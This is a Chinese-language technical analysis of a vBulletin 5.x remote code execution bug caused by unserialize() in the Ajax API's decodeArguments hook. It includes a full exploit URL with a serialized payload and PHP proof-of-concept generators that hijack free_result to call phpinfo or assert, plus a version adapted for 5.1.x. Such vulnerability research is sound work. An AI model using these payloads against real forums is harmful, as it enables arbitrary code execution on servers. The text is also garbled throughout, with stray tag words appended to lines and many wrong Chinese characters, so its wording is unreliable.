RickGray · 2015/11/10 12:04 php
Author: RickGray (知道创宇404安全实验室)mysql
近日,vBulletin 的一枚 RCE 利用和简要的分析被曝光,产生漏洞的缘由源于 vBulletin 程序在处理 Ajax API 调用的时候,使用 unserialize()
对传递的参数值进行了反序列化操做,致使攻击者使用精心构造出的 Payload 直接致使代码执行。关于 PHP 中反序列化漏洞的问题能够参考 OWASP 的《PHP Object Injection》。ajax
使用 原文 提供的 Payload 能够直接在受影响的站点上执行 phpinfo(1)
:sql
具体 Payload 的构造过程也文中有所说起,可是笔者在对 vBulletin 5.1.x 版本进行测试的时候,发现本来的 Payload 并不能成功,甚是疑惑。然而在深刻分析后,发如今具体利用的时候还须要结合 vBulletin 程序自己的一些代码结构才能获得一个较为通用的 Payload,经过下面的分析后就可以明白。api
虽然这次漏洞 unserialize()
函数的触发在曝光的文章中已经描述的很清楚了,而且对整个关键代码的触发流程也进行了说明,可是在深刻跟踪和分析时,以为仍是有值得注意和学习的地方。安全
http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D
复制代码
经过观察服务端在处理PHP时的调用栈,可知服务端在处理上述请求时,会将 ajax/api/hook/decodeArguments
做为路由参数 $_REQUEST['routestring']
传递给地址路由处理过程。因其符合 ajax/api/[controller]/[method]
的 Ajax API 请求路由格式,会再调用 vB5_Frontend_ApplicationLight
实例中的 handleAjaxApi()
函数来进行相应的模块加载并调用处理函数:函数
#!php
protected function handleAjaxApi()
{
$routeInfo = explode('/', $_REQUEST['routestring']);
if (count($routeInfo) < 4)
{
throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request');
}
$params = array_merge($_POST, $_GET);
$this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true));
}
复制代码
请求的 ajax/api/hook/decodeArguments
会实例化 hook
类而后调用 decodeArguments()
函数,原文中所说起的触发点就在此处:学习
#!php
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
复制代码
经过反序列化,咱们可使之能生成在执行环境上下文中已经定义好了的类实例,并经过寻找一个含有 __wakeup()
或者 __destruct()
魔术方法存在问题的类来进行利用。而后原文中所提到的利用方法并非这样,其使用的是继承于 PHP 迭代器类型的 vB_dB_Result
类,因为 $args = @unserialize($arguments)
产生了一个迭代器 vB_dB_Result
类实例,所以在后面进行 foreach
操做时会首先调用其 rewind()
函数。测试
而在 rewind()
函数处理过程当中,会根据实例变量状态进行调用:this
#!php
public function rewind()
{
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
复制代码
这里就能够经过反序列化来控制 $this->recordset
的值,而且 $this->db->free_result
最终会调用:
#!php
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
复制代码
$this->functions['free_result']
本来的初始化值为 mysql_free_result
,可是因为反序列化的缘由,咱们也能控制 vB_dB_Result
类实例中的 db
成员,更改其对应的 functions['free_result']
为咱们想要执行的函数,所以一个任意代码执行就产生了。
观察一下原文中提供的 Payload 构造 PoC:
#!php
<?php
class vB_Database {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
复制代码
经过第一部分的分析,咱们已经清楚了整个漏洞的函数调用过程和缘由,而且也已经得知哪些参数能够获得控制和利用。所以这里咱们修改 $this->functions['free_result'] = 'assert';
和 $this->recordset = 'var_dump(md5(1))';
,最终远程代码执行的的函数则会是 assert('var_dump(md5(1))')
:
这个时候其实 RCE 已经很是的顺利了,可是在进行测试的时候却发现了原文所提供的 PoC 只能复现 5.0.x 版本的 vBulletin,而 5.1.x 版本的却不能够。经过本地搭建测试环境,并使用一样的 PoC 去测试,发如今 5.1.x 版本中 vB_Database
被定义成了抽象类:
#!php
abstract class vB_Database
{
/**
* The type of result set to return from the database for a specific row.
*/
复制代码
抽象类是不能直接进行实例化的,原文提供的 PoC 倒是实例化的 vB_Database
类做为 vB_dB_Result
迭代器成员 db
的值,在服务端进行反序列化时会由于须要恢复实例为抽象类而致使失败:
这就是为何在 5.1.x 版本上 PoC 会不成功的缘由。而后要解决这个问题也很容易,经过跟踪调用栈,发现程序在反序列化未定义类时会调用程序注册的 autoload()
方法去动态加载类文件。这里 vBulletin 会依次调用 includes/vb5/autoloader.php
中的 _autoload
方法和 core/vb/vb.php
中的 autoload()
方法,成功加载即返回,失败则反序列化失败。因此要想继续使用原有 PoC 的思路来让反序列化后会执行 $this->db->free_result($this->recordset);
则须要找到一个继承于 vB_Database
抽象类的子类而且其源码文件路径可以在 autoload 过程当中获得加载。
经过搜索,发现有以下类继承于 vB_Database
抽象类及其源码对应的路径:
而终代码进行进行 autoload 的时候会解析传递的类名来动态构造尝试加载的源码文件路径:
#!php
...省略
$fname = str_replace('_', '/', strtolower($class)) . '.php';
foreach (self::$_paths AS $path)
{
if (file_exists($path . $fname))
{
include($path . $fname);
if (class_exists($class, false))
{
return true;
}
复制代码
上面这段代码存在于第一次调用的 __autoload()
里,能够看到对提供的类名以 _
进行了拆分,动态构造了加载路径(第二次 autoload() 的过程大体相同),简单分析一下就能够发现只有在反序列化 vB_Database_MySQL
和 vB_Database_MySQLi
这两个基于 vB_Database
抽象类的子类时,才能成功的动态加载其类定义所在的源码文件使得反序列化成功执行,最终才能控制参数进行任意代码执行。
因此,针对 5.1.x 版本 vBulletin 的 PoC 就能够获得了,使用 vB_Database_MySQL
或者 vB_Database_MySQLi
做为迭代器 vB_dB_Result
成员 db
的值便可。具体 PoC 以下:
#!php
<?php
class vB_Database_MySQL {
public $functions = array();
public function __construct() {
$this->functions['free_result'] = 'assert';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct() {
$this->db = new vB_Database_MySQL();
$this->recordset = 'print("This Vuln In 5.1.7")';
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
复制代码
测试一下,成功执行 assert('print("This Vuln In 5.1.7")')
:
固然了,PoC 不止上面所提供的这一种写法,仅供参考而已。
这次 vBulletin 5.x.x RCE 漏洞的曝光,从寻找触发点到对象的寻找,再到各类自动加载细节,不得不说是一个很好的 PHP 反序列化漏洞实战实例。不仔细去分析真的不能发现原做者清晰的思路和对程序的熟悉程度。
另外,Check Point 在其官方博客上也公布了反序列化的另外一个利用点,经过反序列化出一个模版对象最终调用 eval()
函数进行执行(原文)。